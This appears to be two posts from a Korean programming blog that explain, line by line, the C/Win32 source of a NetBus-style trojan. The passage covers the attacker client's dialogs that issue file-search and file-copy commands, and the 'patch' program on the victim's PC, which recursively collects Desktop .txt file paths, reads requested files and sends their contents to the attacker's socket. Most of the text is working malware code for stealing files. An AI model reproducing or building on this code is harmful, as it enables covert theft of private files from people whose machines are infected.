  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

소켓의 사용을 종료하고 명령을 내리는 버튼들을 비활성화시킵니다.

- EndDialog(G_filefindDlg,NULL);

  EndDialog(G_fileCopyDlg,NULL);

만약 열려진 대화상자가 있으면 종료시킵니다.

- case WM_PAINT:

hdc = BeginPaint(hWnd,&ps);

TextOut(hdc,363,12,L"포트:",lstrlen(L"포트:"));

EndPaint(hWnd,&ps);

WM_PAINT메세지에선 포트 라는 글자를 출력합니다.

- BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번에는 파일 찾기 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- switch(Message)

case WM_INITDIALOG:

G_filefindDlg = hWnd;

생성될 때 대화상자의 핸들을 전역변수에 저장시킵니다.

- case WM_COMMAND:

switch(wParam)

case txt:

EnableWindow(GetDlgItem(hWnd,txt),FALSE);

memset(&G_String,0,sizeof(G_String));

strcpy(G_String.str,"filefind - txt");

send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

대화상자의 txt버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 str멤버변수에 filefind - txt문자열을 넣고 send함수를 이용하여 감염자 소켓으로 데이터를 전송합니다. send함수 또한 recv랑 비슷한 인자입니다.

- case WM_CLOSE:

EndDialog(hWnd,NULL);

닫기버튼을 누르면 대화상자를 종료합니다.

- BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번엔 파일 복사 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- TCHAR str3[256] = L"";

  int str_len;

사용자로부터 입력 받은 경로를 저장할 변수 str3과 그 문자열을 멀티바이트로 변환시킬 때 필요한 변수 str_len을 선언합니다.

- case WM_COMMAND:

switch(wParam)

case copy:

EnableWindow(GetDlgItem(hWnd,copy),FALSE);

memset(&G_String,0,sizeof(G_String));

SendDlgItemMessage(hWnd,copypath,WM_GETTEXT,255,(LPARAM)str3);

str_len = WideCharToMultiByte(949,NULL,str3,lstrlen(str3),NULL,NULL,NULL,NULL);

WideCharToMultiByte(949,NULL,str3,lstrlen(str3),G_String.str2,str_len,NULL,NULL);

대화상자의 copy버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 copypath로부터 경로 문자열을 가져와 str3에 저장시킨 후 멀티바이트로 변환시켜 str2멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txt");

str멤버변수에 filecopy - txt를 넣습니다.

- send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

해당 구조체를 감염자 소켓으로 전송합니다.

네 여기까지가 넷버스 코드의 마지막 부분이었습니다. 다음 포스팅에서는 감염자의 PC에서 실행되는 패치의 코드를 살펴봅시다.


Posted by englishmath
,

안녕하십니까 이번 포스팅에서는 감염자의 PC에서 실행되는 patch프로그램에 쓰인 함수들을 한 번 살펴보겠습니다.

- int _strcmp(char *str1);

공격자(클라이언트)로부터 메세지를 받았을 때 메세지에 따라 처리를 다르게 해주기 위해 만든 함수입니다.

- void txtfileSend(void);

자신의 바탕화면과 바탕화면의 하위폴더에 있는 txt파일들을 전부 찾아 그 경로들을 저장시키는 함수입니다.

- void txtfileCopy(void);

공격자로부터 받은 파일경로를 토대로 해당하는 파일을 찾아 데이터를 복사해주는 함수입니다.

- int _strcmp(char *str1)

공격자의 소켓으로부터 데이터를 받았을 때 메세지에 따라 처리를 다르게 해주는 함수입니다. 원리는 넷버스(공격자)의 _strcmp함수와 동일합니다.

- void txtfileSend(void)

이 프로그램이 실행되고 있는 PC 즉 감염자의 PC에서 txt파일을 찾아 그 경로를 저장시켜주는 함수입니다. 대상 txt파일은 바탕화면과 바탕화면의 하위폴더에 들어있는 txt파일 입니다.

- TCHAR PATH[500] = L"",temp[256] = L"";

FindFirstFile함수의 사용과 파일의 확장자를 저장하기 위해 TCHAR형 배열을 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수 사용을 위해 WIN32_FIND_DATA 구조체 변수를 선언합니다. 이 구조체는 앞 포스팅 중 메모장 부분에 자세히 나와 있습니다.

- HANDLE file;

찾은 파일의 핸들을 저장하기 위해 HANDLE형 변수를 선언합니다.

- int i,j,str_len,Error;

for문에 사용할 i,j와 WideCharToMultiByte함수에 사용할 str_len, 그리고 에러코드를 저장할 변수 Error를 선언합니다.

- wsprintf(PATH,L"%s*.*",G_PATH);

G_PATH에 저장된 문자열을 %s*.*형식으로 바꾸어 PATH에 저장시킵니다. G_PATH는 현재 사용자의 데스크탑의 경로를 저장하고 있는 전역변수이며 기본적으로 

"C:\\Users\\사용자명\\Desktop\\" 값이 들어가 있습니다. 이 상태로 이 코드를 수행하게 되면 PATH에는 C:\\Users\\사용자명\\Desktop\\*.*가 저장되어집니다.

- file = FindFirstFile(PATH,&WFD);

위에 저장된 PATH를 바탕으로 FindFirstFile함수를 호출합니다. 이 함수는 앞 포스팅의 메모장 부분에서도 쓰였던 함수이며 PATH에 해당하는 파일을 찾아 그 파일의 핸들을 반환합니다. 이 때 그 파일의 속성이 WFD 구조체의 각 멤버변수에 저장됩니다.

추가로 파일명이 아닌 확장자가 경로명에 들어있으면 해당하는 확장자의 파일을 찾게 됩니다.

ex) C:\\Users\\사용자명\\Desktop\\*.txt -> 바탕화면에 있는 txt파일

     C:\\Users\\사용자명\\Desktop\\*.* -> 바탕화면에 있는 모든 파일

- while(file != INVALID_HANDLE_VALUE)

FindFirstFile의 결과가 INVALID_HANDLE_VALUE가 아니면 아래의 코드를 반복합니다.

INVALID_HANDLE_VALUE는 파일을 찾지 못했을 때 FindFirstFile이 반환하는 값입니다.

- if(lstrlen(WFD.cFileName) > 4)

j=4;

for(i=0;i<4;i++)

temp[i] = WFD.cFileName[lstrlen(WFD.cFileName)-j];

j--;

파일을 정상적으로 찾았다면 if문을 이용하여 WFD구조체의 cFileName멤버의 길이를 검사합니다. cFileName멤버는 파일의 이름이 저장되어있는 멤버입니다.

lstrlen함수를 사용하여 찾은 파일의 이름이 5자 이상일 경우(확장자 포함) 확장자를 추출하기 위해 다음 코드를 수행합니다.

확장자는 보통 4개의 글자로 이루어져 있으므로 (.txt,.exe) j값에 4를 대입한 후 for문을 이용하여 cFileName에 들어있는 파일이름의 뒷부분 4글자를 차례대로 가져와 temp에 저장시킵니다.

예를 들어 파일명이 abc.txt가 있으면

temp[0] = WFD.cFileName[7-4] --> temp[0] = WFD.cFileName[3](.)

temp[1] = WFD.cFileName[7-3] --> temp[1] = WFD.cFileName[4](t)

temp[2] = WFD.cFileName[7-2] --> temp[2] = WFD.cFileName[5](x)

temp[3] = WFD.cFileName[7-1] --> temp[3] = WFD.cFileName[6](t)

이런식으로 작동하게 됩니다.

즉 위 코드가 정상적으로 수행이 된다면 최종적으로 temp에는 .txt가 저장되어집니다.

- if((WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY && lstrcmp(WFD.cFileName,L".") != 0) && lstrcmp(WFD.cFileName,L"..") != 0)

위의 if문과는 별개로 또 다시 if문을 사용하여 이번엔 파일의 속성을 검사합니다. 위의 조건문을 풀이해보자면 다음과 같습니다.

WFD.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY  -> 해당 파일이 폴더이고

lstrcmp(WFD.cFileName,L".") != 0 -> 파일명이 .이 아니어야 하며

lstrcmp(WFD.cFileName,L"..") != 0 -> 파일명이 ..이 아닐 때

즉 이부분은 검색한 파일이 폴더냐 아니냐를 체크하는 부분입니다. 다만 폴더라 하더라도 파일명이 .이나 ..이 아니어야 합니다. 파일명이 점으로 되어있는 폴더는 리눅스를 해보신 분은 아마 감이 잡히실 건데 점 하나로 되어있는 폴더는 현재 디렉토리를 의미하며 점이 두개로 되어있는 폴더는 상위 디렉토리를 의미합니다.

이러한 폴더들은 리눅스가 아니라 윈도우에서도 존재하고 있으며 대부분 숨김폴더로 정해져있어 아마 보지 못하셨을 겁니다. 아무튼 우리는 이러한 폴더들을 사용할 필요가 없으므로 일부러 제외시켰습니다.

- wsprintf(G_PATH,L"%s%s\\",G_PATH,WFD.cFileName);

위의 if문에 해당하는 폴더일 경우 G_PATH와 폴더명을 이용하여 %s%s\\형식으로 바꾼 후 다시 G_PATH에 저장시킵니다. 

예를 들어 a라는 폴더가 있다면

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName -> a 일때 wsprintf함수를 수행하면 

G_PATH에는 C:\\Users\\사용자명\\Desktop\\a\\가 저장되어집니다.

- txtfileSend();

G_PATH가 다시 재정의 되었으면 자기 자신의 함수를 호출합니다. 즉 이것은 바탕화면에서 폴더를 찾았을 경우 그 폴더로 들어가 다시 파일을 찾는 것을 구현한것입니다. 추가로 함수 내에서 자기 자신의 함수를 호출하는 함수를 재귀함수라고 합니다.

예를 들어 G_PATH가 C:\\Users\\사용자명\\Desktop\\a\\일때 자기 자신의 함수를 호출하면 다음과 같이 처음부터 다시 코드를 수행하게 되는 겁니다.

wsprintf(PATH,L"%s*.*",G_PATH) 수행 -> G_PATH는 전역변수라 값이 바껴진 상태

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.*

그리고 다시 file = FindFirstFile(PATH,&WFD) 코드를 수행하게 되는 것이지요.

- for(i=lstrlen(PATH)-1;i>=0;i--)

재귀함수가 호출되서 처리를 다하고 나면 for문을 수행하여 G_PATH의 값을 재정의합니다. 왜냐하면 a라는 폴더에서 파일을 다 찾으면 다시 이전의 폴더로 돌아가야 하기 때문이지요. 이해를 쉽게 하기 위해 알고리즘을 다시 한번 살펴봅시다.

PATH -> C:\\Users\\사용자명\\Desktop\\*.* 일 때 검색한 파일이 폴더(a)라면

G_PATH를 C:\\Users\\사용자명\\Desktop\\a\\로 바꾸고 재귀함수 호출

그러면 재귀함수가 호출되면서 

PATH(두번째)가 C:\\Users\\사용자명\\Desktop\\a\\*.*로 재정의됩니다.

여기까지는 아까 설명한 부분입니다. 자 그러면 폴더 내의 파일을 다 찾은 경우에는 어떻게 될까요?

폴더내의 파일을 다 찾으면 호출한 재귀함수가 종료됩니다. 그러면 다시 원래의 재귀함수를 호출한 부분으로 되돌아 오겠지요? 그런데 여기 중요한 점은 재귀함수의 호출이 종료되면 PATH의 값이 재귀함수를 호출하기 전의 값으로 되돌아옵니다. 즉

재귀함수가 호출되었을 때 

PATH -> C:\\Users\\사용자명\\Desktop\\a\\*.* 이었다면

재귀함수가 종료되었을 때는 이전의 PATH값인

PATH -> C:\\Users\\사용자명\\Desktop\\*.*가 된다는 것이지요.

다만 PATH값이 돌아온다고 G_PATH값이 돌아오는 것은 아니기에 우리는 수동으로 G_PATH값을 원래대로 되돌릴 필요가 있습니다.

이를 위해 for문을 이용하여 PATH의 맨 뒷자리부터 검사를 시작합니다. 위의 i값을 현재 상황에 맞추어 본다면 

i = 25-1 -> 24가 대입되어 집니다. 물론 이값은 사용자명과 폴더 경로 명에 따라 달라질 수 있습니다. 이렇게 정의된 i가 -1이 될 때까지 하나씩 감소시키면서 아래의 코드를 수행합니다.

- if(PATH[i] == '\\')

현재 검사중인 i번째 자리의 PATH 문자 값이 \이면 아래의 코드를 수행합니다.

- if(i == lstrlen(PATH)-1)

break;

  else

PATH[i+1] = '\0';

break;

i값이 lstrlen(PATH)-1라면 break를 이용해 그냥 for문을 탈출합니다. 이 뜻은 PATH의 마지막 글자가 \이면 그냥 탈출한다는 뜻입니다. 

반대로 마지막 글자가 \가 아니라면 현재 \가 들어있는 인덱스의 다음 인덱스에 NULL값을 넣어 \을 PATH의 마지막 글자로 만들어줍니다.

이 코드가 수행되고 나면 PATH는 

C:\\Users\\사용자명\\Desktop\\ 이렇게 수정되어 집니다.

- lstrcpy(G_PATH,PATH);

바뀐 PATH값을 G_PATH에 넣어 재귀함수를 호출 하기 전의 G_PATH값으로 되돌립니다.

- else if(lstrcmp(temp,L".txt") == 0)

위의 큰 if문이 폴더를 찾았을 때의 처리라면 이 부분은 폴더가 아닌 파일을 찾았을 때의 처리입니다. 찾은 파일이 폴더가 아니라면 if문을 이용해 찾은 파일의 확장자를 검사합니다. 그리고 그 확장자(temp)의 값이 txt라면 아래의 코드를 수행합니다.

- wsprintf(PATH,L"%s%s",G_PATH,WFD.cFileName);

PATH의 값을 G_PATH와 WFD.cFileName값을 이용해 %s%s형식으로 수정합니다. 즉 

G_PATH -> C:\\Users\\사용자명\\Desktop\\

WFD.cFileName - > 1.txt

PATH -> C:\\Users\\사용자명\\Desktop\\1.txt

이렇게 됩니다.

- str_len = WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(CP_ACP,NULL,PATH,lstrlen(PATH),G_String.txtStrings[G_txtfileSend_i],str_len,NULL,NULL);

유니코드 문자열인 PATH를 멀티바이트로 변환시켜 G_String.txtStrings[G_txtfileSend_i]에 저장시킵니다. 여기서 G_String.txtStrings은 나중에 send함수로 소켓에 보낼 구조체의 멤버를 뜻하며 G_txtfileSend_i는 G_String.txtStrings의 인덱스 값인 전역변수입니다. 초기에는 0으로 선언되어 있습니다. 이러한 작업을 해주는 이유는 send함수로 데이터를 보낼때에는 멀티바이트 형으로 보내야 하기 때문입니다.

- G_txtfileSend_i++;

하나의 텍스트파일 경로를 저장하였으면 G_txtfileSend_i를 하나 증가시키고 if문 처리가 끝이 납니다.

- FindNextFile(file,&WFD);

하나의 파일에 대한 처리가 끝났다면 FindNextFile함수를 호출하여 다음 파일을 찾습니다. FindNextFile함수를 살펴봅시다.

FindFirstFile 등으로 찾은 파일의 핸들을 이용하여 다음 파일을 찾게 해주는 함수입니다. 이 때 파일을 찾는 조건(필터)는 FindFirstFile과 동일합니다. 그리고 이 함수로 찾은 파일의 정보는 두번째 인자인 WFD에 들어가게 됩니다. 

- Error = GetLastError();

위의 FindNextFile함수와 관련된 에러코드를 Error에 집어넣습니다. 에러가 발생하지 않았다면 Error에는 0이 들어가 있으며 만약 에러가 발생하였다면 0 이외의 값이 들어가게 됩니다.

- if(Error == ERROR_NO_MORE_FILES)

SetLastError(1);

FindClose(file);

break;

Error의 값이 ERROR_NO_MORE_FILES일때의 처리입니다. 이 ERROR_NO_MORE_FILES값은 더 이상 찾을 파일이 없을 경우 FindNextFile함수가 발생시키는 에러입니다. 이 에러코드가 발생하면 검사중인 폴더 내의 파일을 다 찾았다는 뜻이므로 file의 핸들을 닫고 break문을 이용하여 while문을 탈출합니다.

한가지 특이한 점이 있다면 SetLastError함수를 사용하여 ERROR_NO_MORE_FILES 에러의  코드값을 1로 지정했다는 부분입니다. 이러한 작업을 해준 이유는 어떠한 폴더 내에서 파일을 다 찾아서 재귀함수를 종료하고 상위 폴더로 돌아간 후 다시 FindNextFile함수를 호출하면 파일을 다 찾지 않았음에도 불구하고 ERROR_NO_MORE_FILES라는 에러코드가 발생하기 때문입니다. 그래서 이를 방지하기 위해 ERROR_NO_MORE_FILES 에러코드를 1로 설정하여 ERROR_NO_MORE_FILES에러가 발생하였음에도 불구하고 GetLastError에서 아까 지정한 1을 반환함으로써 위의 if문을 처리하지 않도록 해주었습니다.

물론 진짜 파일이 없어서 발생하는 ERROR_NO_MORE_FILES에러는 SetLastError의 영향을 받지 않아 if문을 처리할 수 있습니다. 아직 자세한 이유는 모르겠습니다만 일단 이렇게 코딩을 하니 동작에는 지장이 없어서 쓰고 있습니다.

자 마지막으로 남은 함수를 살펴봅시다.

- void txtfileCopy(void)

이 함수는 공격자의 소켓으로부터 파일을 복사해달라는 데이터를 받았을 때 실행하는 함수이며 파일의 경로를 받아 그 경로에 해당하는 파일을 열어 데이터를 복사시키고 그 복사된 데이터를 공격자의 소켓에 전송해주는 역할을 합니다.

- int str_len;

멀티바이트로 받은 파일의 경로를 유니코드로 변환시키기 위해 선언한 변수입니다.

- HANDLE file,file2;

CreateFile함수의 핸들과 FindFirstFile의 핸들을 받을 변수 두개를 선언합니다.

- TCHAR Wstring[256] = L"";

유니코드 문자열을 저장할 변수 Wstring을 선언과 동시에 초기화 시킵니다.

- DWORD size;

ReadFile함수에 쓰일 DWORD형 변수를 선언합니다.

- WIN32_FIND_DATA WFD = {0};

FindFirstFile함수의 인자인 WIN32_FIND_DATA형 구조체 변수를 선언합니다.

- str_len = MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),NULL,NULL);

  MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),Wstring,str_len);

공격자의 소켓으로부터 받은 파일 경로인 G_String의 멤버변수인 str2를 유니코드로 변환시켜 Wstring에 저장시킵니다.

- file = CreateFile(Wstring,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

Wstring에 저장된 경로를 이용하여 파일을 OPEN_EXISTING 옵션으로 엽니다. 

- if(file == INVALID_HANDLE_VALUE)

CreateFile함수가 파일을 불러오지 못해 file의 결과값이 INVALID_HANDLE_VALUE인 경우 아래의 코드를 수행합니다. 일종의 에러처리입니다.

- if(GetLastError() == ERROR_ACCESS_DENIED)

strcpy(G_String.str,"filecopy - ACCESS_DENIED");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

GetLastError함수를 호출하여 에러코드의 값이 ERROR_ACCESS_DENIED인 경우 

G_String.str에 filecopy - ACCESS_DENIED 문자열을 넣은 후 send함수를 호출하여 해당 구조체를 공격자 소켓(G_AcceptS)에 전송합니다. 이 send함수는 나중에 자세히 설명드리겠습니다.

- else

strcpy(G_String.str,"filecopy - txtnotfound");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

만약 위의 에러가 아니라면 문자열을 filecopy - txtnotfound로 바꿔서 전송합니다.

- return;

에러메세지를 공격자에 보내고 나면 return을 호출하여 함수를 종료합니다.

- G_String.size = GetFileSize(file,NULL);

파일을 정상적으로 여는데 성공하였다면 GetFileSize함수를 호출하여 size를 구해 size멤버 변수에 저장시킵니다.

- if(G_String.size >= 500000 || G_String.size == 0)

strcpy(G_String.str,"filecopy - sizeError");

send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

CloseHandle(file);

return;

이 때 파일의 크기가 데이터를 담는 배열(G_String.string[500000])보다 크거나 또는 size의 크기가 0일 경우 sizeError문자열을 공격자 소켓에 전송 후 핸들을 닫고 종료시킵니다.

- memset(G_String.string,0,sizeof(G_String.string));

복사한 데이터를 담을 G_String.string배열을 초기화시킵니다.

- ReadFile(file,G_String.string,G_String.size,&size,NULL);

해당 파일의 데이터를 G_String.size만큼 읽어 G_String.string에 저장시킵니다.

- file2 = FindFirstFile(Wstring,&WFD);

FindFirstFile함수를 호출해 아까 CreateFile함수로 연 파일을 찾습니다.

- memset(G_String.str2,0,sizeof(G_String.str2));

  str_len = WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,WFD.cFileName,lstrlen(WFD.cFileName),G_String.str2,str_len,NULL,NULL);

str2 멤버변수를 초기화시켜준 후 WFD의 멤버변수인 cFileName(파일 이름)을 멀티바이트로 변환시켜 str2 멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txtcopycomplete");

str 멤버변수에 텍스트 복사가 완료되었다는 문자열을 집어넣습니다.

- send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

해당 데이터가 들어있는 구조체를 공격자 소켓에 통째로 전송시킵니다.

- CloseHandle(file);

  FindClose(file2);

CreateFile의 핸들은 CloseHandle함수로 닫고 FindFirstFile의 핸들은 FindClose로 닫습니다.

네 이상으로 패치 함수의 포스팅을 마치겠습니다. 다음 포스팅에선 공격자가 쓰는 넷버스의 코드를 전부 살펴보도록 하겠습니다.

Posted by englishmath
,